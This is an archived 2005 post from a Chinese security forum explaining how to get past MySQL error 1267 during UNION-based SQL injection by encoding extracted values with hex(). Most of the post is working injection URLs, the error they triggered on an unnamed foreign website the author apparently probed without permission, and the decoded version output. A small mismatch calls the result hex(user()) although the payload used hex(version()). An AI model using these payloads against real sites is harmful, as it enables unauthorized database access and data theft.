邪恶八进制信息安全团队技术讨论组's Archiver

exploit 2005-10-7 08:03

[转载]MySQL注射时ErrorNo.1267的突破

文章作者:superhei


测试个国外的站时:
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*

返回错误:
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

MySQL Error No. 1267

看来是union查询前后字符集([url]http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html[/url])不同出现的。

解决办法:转为其他编码如hex。
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*

成功得到hex(user())的值为:342E312E332D62657461
回Mysql查询下得到:

mysql> select 0x342E312E332D62657461;
+------------------------+
| 0x342E312E332D62657461 |
+------------------------+
| 4.1.3-beta         |
+------------------------+
1 row in set (0.00 sec)

页: [1]
© 1999-2008 EvilOctal Security Team